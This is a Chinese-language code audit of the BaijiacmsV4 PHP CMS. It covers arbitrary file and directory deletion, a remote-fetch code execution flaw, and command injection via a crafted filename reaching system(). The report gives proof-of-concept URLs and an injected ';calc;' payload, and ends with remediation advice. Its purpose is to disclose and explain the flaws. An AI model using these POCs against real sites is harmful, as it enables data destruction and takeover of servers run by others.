baijiacmsV4代码审计
字数 1022 2025-08-03 10:57:26

BaijiacmsV4 代码审计报告

一、系统结构分析

BaijiacmsV4 是一个基于 PHP 开发的 CMS 系统,其代码结构如下:

addons/       # 插件目录
api/          # 接口目录
assets/       # 静态文件
attachment/   # 上传目录
cache/        # 缓存目录
config/       # 系统配置文件
include/      # 系统文件
system/       # 后端代码(核心部分)

系统可分为两大模块:

  1. system 核心系统
  2. eshop 电商模块

二、漏洞分析

1. 任意文件删除漏洞(无需管理员权限)

漏洞文件/system/eshop/core/mobile/util/uploader.php

漏洞分析

  • $operation$file 参数完全可控
  • 直接调用 file_delete() 函数进行文件删除
  • $settings 返回为空,缺乏有效验证

POC

/index.php?mod=mobile&act=uploader&op=post&do=util&m=eshop&op=remove&file=../flag.txt

调试过程

  • 直接跳过验证流程
  • 可删除任意文件(如 flag.txt)

2. 任意路径删除漏洞(需后台权限)

漏洞文件system/manager/class/web/database.php

漏洞分析

  • 仅简单判断目录是否存在
  • 无其他验证直接删除目录

POC

/index.php?mod=site&act=manager&do=database&op=delete&id=Li8uLi8uLi90ZXRl

3. 后台远程代码执行漏洞

漏洞文件/system/public/class/web/file.php

漏洞分析

  • 通过 fetch 操作从远程 URL 下载文件
  • 无有效验证直接写入本地

POC

/index.php?mod=site&act=public&do=file&op=fetch&url=http://xxx.xxxx.xxxx/aaa/1.php

4. 命令注入漏洞(RCE)

漏洞文件/system/weixin/class/web/setting.php

漏洞分析

  • $file_full_path 直接传入 system 函数
  • 可通过构造文件名实现命令注入
  • 需要先设置缩放参数 image_compress_openscale

POC

convert -quality 80 D:/phpstudy_pro/WWW/baijiacms_v4_1_4_20170105 (2)/;calc;.txt # D:/phpstudy_pro/WWW/baijiacms_v4_1_4_20170105 (2)/;calc;.txt #

调试过程

  • 成功执行系统命令(如弹出计算器)
  • 通过添加 $a! 变量可清晰观察执行过程

三、漏洞修复建议

  1. 输入验证

    • 对所有用户输入进行严格过滤
    • 实现白名单机制限制可操作的文件路径
  2. 权限控制

    • 加强后台操作的身份验证
    • 实现最小权限原则
  3. 安全函数使用

    • 替换直接使用 system() 等危险函数
    • 使用 escapeshellarg() 等函数处理命令参数
  4. 日志审计

    • 记录所有文件操作和系统命令执行
    • 实现操作回滚机制

四、总结

BaijiacmsV4 存在多处高危漏洞,主要问题包括:

  • 缺乏输入验证导致文件操作漏洞
  • 危险函数直接使用导致命令注入
  • 权限控制不严格导致越权操作

建议开发者全面审查代码,按照安全开发规范进行重构,特别是对用户输入的处理和危险函数的使用。

BaijiacmsV4 代码审计报告 一、系统结构分析 BaijiacmsV4 是一个基于 PHP 开发的 CMS 系统,其代码结构如下: 系统可分为两大模块: system 核心系统 eshop 电商模块 二、漏洞分析 1. 任意文件删除漏洞(无需管理员权限) 漏洞文件 : /system/eshop/core/mobile/util/uploader.php 漏洞分析 : $operation 和 $file 参数完全可控 直接调用 file_delete() 函数进行文件删除 $settings 返回为空,缺乏有效验证 POC : 调试过程 : 直接跳过验证流程 可删除任意文件(如 flag.txt) 2. 任意路径删除漏洞(需后台权限) 漏洞文件 : system/manager/class/web/database.php 漏洞分析 : 仅简单判断目录是否存在 无其他验证直接删除目录 POC : 3. 后台远程代码执行漏洞 漏洞文件 : /system/public/class/web/file.php 漏洞分析 : 通过 fetch 操作从远程 URL 下载文件 无有效验证直接写入本地 POC : 4. 命令注入漏洞(RCE) 漏洞文件 : /system/weixin/class/web/setting.php 漏洞分析 : $file_full_path 直接传入 system 函数 可通过构造文件名实现命令注入 需要先设置缩放参数 image_compress_openscale POC : 调试过程 : 成功执行系统命令(如弹出计算器) 通过添加 $a! 变量可清晰观察执行过程 三、漏洞修复建议 输入验证 : 对所有用户输入进行严格过滤 实现白名单机制限制可操作的文件路径 权限控制 : 加强后台操作的身份验证 实现最小权限原则 安全函数使用 : 替换直接使用 system() 等危险函数 使用 escapeshellarg() 等函数处理命令参数 日志审计 : 记录所有文件操作和系统命令执行 实现操作回滚机制 四、总结 BaijiacmsV4 存在多处高危漏洞,主要问题包括: 缺乏输入验证导致文件操作漏洞 危险函数直接使用导致命令注入 权限控制不严格导致越权操作 建议开发者全面审查代码,按照安全开发规范进行重构,特别是对用户输入的处理和危险函数的使用。